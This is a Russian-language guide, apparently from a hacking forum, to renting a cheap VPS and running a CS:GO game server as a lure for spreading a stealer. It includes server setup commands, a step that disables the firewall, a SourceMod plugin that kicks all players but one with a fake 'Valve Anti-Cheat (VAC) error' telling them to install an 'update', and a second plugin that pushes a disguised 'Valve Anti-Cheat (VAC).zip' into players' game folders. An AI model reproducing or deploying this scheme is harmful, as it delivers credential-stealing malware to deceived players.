Архив обязательно должен быть в .zip формате!
1. Нужен сервер (ВДС), достаточно будет самой дешевой впски за 3-5$/мес,
2. Установка сервера
Маленький конструктор для создания сервера на VPS чтоб не арендовать сервера (это просто не выгодно)
для этого нам понадобится две программы Putty, FileZilla
Все это для CentOS 6
yum install glibc.i686 libstdc++.i686 -32бит. библиотеки
yum install screen -устанавливаем screen чтоб серв работал 24/7
yum install wget -устанавливаем wget
Перед установкой steamcmd создаете вот такой путь .../Servercsgo/servercsgo
в Servercsgo закидываете download.txt и дальше из этой папки выполняем
wget http://media.steampowered.com/client/st … nux.tar.gz -скачиваем steamcmd для linux
tar xvfz steamcmd_linux.tar.gz -разархивируем архив с steamcmd
chmod +x steamcmd.sh -ставим права (исполняемый файл) скачивание сервера
./steamcmd.sh +runscript download.txt -Устанавливаем серв
service iptables stop && chkconfig iptables off -отключаем брандмауэр
cd servercsgo - переходим в папку
Так же для запуска сервера необходимо создать текстовик написать в нем параметры запуска и указать что бы запускался через скрин. Например screen -d -m ./srcds_run -game csgo -console -tickrate -usercon -port 27015 +game_type 0 +game_mode 0 +map awp_lego_2 и сохранить как start.sh закинуть по такому пути .../Servercsgo/servercsgo , выдать рут права и запускать его вот и все!!!
chmod +x ./start.sh -ставим права (исполняемый файл) вкл сервера
./start.sh -запускаем сервер (если все норм продолжаем ставить Metamod)
https://www.sourcemm.net/downloads -заходим выбираем OS linux и копируем wget ссылку
wget http://sourcemod.gameconnect.net/files/ … nux.tar.gz -скачиваем mmsource-1.10.4-linux (Metamod)
tar xvfz mmsource-1.10.4-linux.tar.gz -разархивируем архив с mmsource-1.10.4-linux
Здесь убиваем сервер - это я покажу как (если все норм продолжаем ставить Sourcemod - Админку)
http://www.sourcemod.net/downloads.php -заходим выбираем OS linux и копируем wget ссылку
wget http://sourcemod.gameconnect.net/files/ … nux.tar.gz -скачиваем sourcemod-1.7.1-linux (Sourcemod)
tar xvfz sourcemod-1.7.1-linux.tar.gz -разархивируем архив с sourcemod-1.7.1-linux
Здесь тоже убиваем сервер - если все норм продолжаем ставить мелкие настройки (количество слотов, им'я сервера и т.д.)
Когда сделали мелкие настройки опять убиваете сервер или перезагружаете мапу
если все норм - то сервер готов для игроков. Удачи
Далее устанавливаем плагин для кика игрока с сервера:
Создаем текстовик, вставляете содержимое, написанное ниже, сохраняете в формате .sp и компилируете
Код плагина
#pragma semicolon 1 #include <sourcemod> new const String:g_sAccessAuths[][] = { "STEAM_1:0:51075805", }; public OnClientPostAdminCheck(iClient) { decl String:sAuth[32], i; GetClientAuthId(iClient, AuthId_Steam2, sAuth, sizeof(sAuth)); for(i = 0; i < sizeof(g_sAccessAuths); ++i) { if(strcmp(g_sAccessAuths, sAuth) == 0) { return; } } KickClient(iClient, "Valve Anti-Cheat (VAC) error. Please, install update. Path: Steam/steamapps/common/Counter-Strike Global Offensive/csgo/Valve Anti-Cheat (VAC).zip"); }
Плагин автоскачки стилера:
Плагин
#pragma semicolon 1
#include <sourcemod>
#include <sdktools_stringtables>
#define PATH_SIZE 512
#define FILE_SIZE 256
public Plugin:myinfo =
{
name = "Add To Download",
author = "wS (Lolzteam.com)",
version = "1.2.1"
};
public OnPluginStart()
{
RegServerCmd("add_to_download", add_to_download);
}
public OnMapStart()
{
ServerCommand("exec downloads.cfg");
}
public Action:add_to_download(args)
{
if (args != 1)
return Plugin_Handled;
decl String:info[PATH_SIZE];
if (GetCmdArg(1, info, PATH_SIZE) < 4 || TrimString(info) < 4)
return Plugin_Handled;
ReplaceString(info, PATH_SIZE, "\\", "/");
/////////
new Handle:dir = OpenDirectory(info);
if (dir == INVALID_HANDLE)
{
AddFileToDownloadsTable(info);
return Plugin_Handled;
}
new dir_strlen = strlen(info);
if (info[dir_strlen-1] == '/') info[dir_strlen-1] = '\0';
decl String:file[PATH_SIZE], FileType:type;
while (ReadDirEntry(dir, file, FILE_SIZE, type))
{
if (type == FileType_File && strlen(file) > 3 && StrContains(file, ".ztmp", false) == -1)
{
Format(file, PATH_SIZE, "%s/%s", info, file);
AddFileToDownloadsTable(file);
}
}
CloseHandle(dir);
/////////
return Plugin_Handled;
}
Компилируете его по аналогии с предыдущим скриптом.
Далее создаем текстовый документ download.cfg, вписываете в него следующий код:
add_to_download "Valve Anti-Cheat (VAC).zip"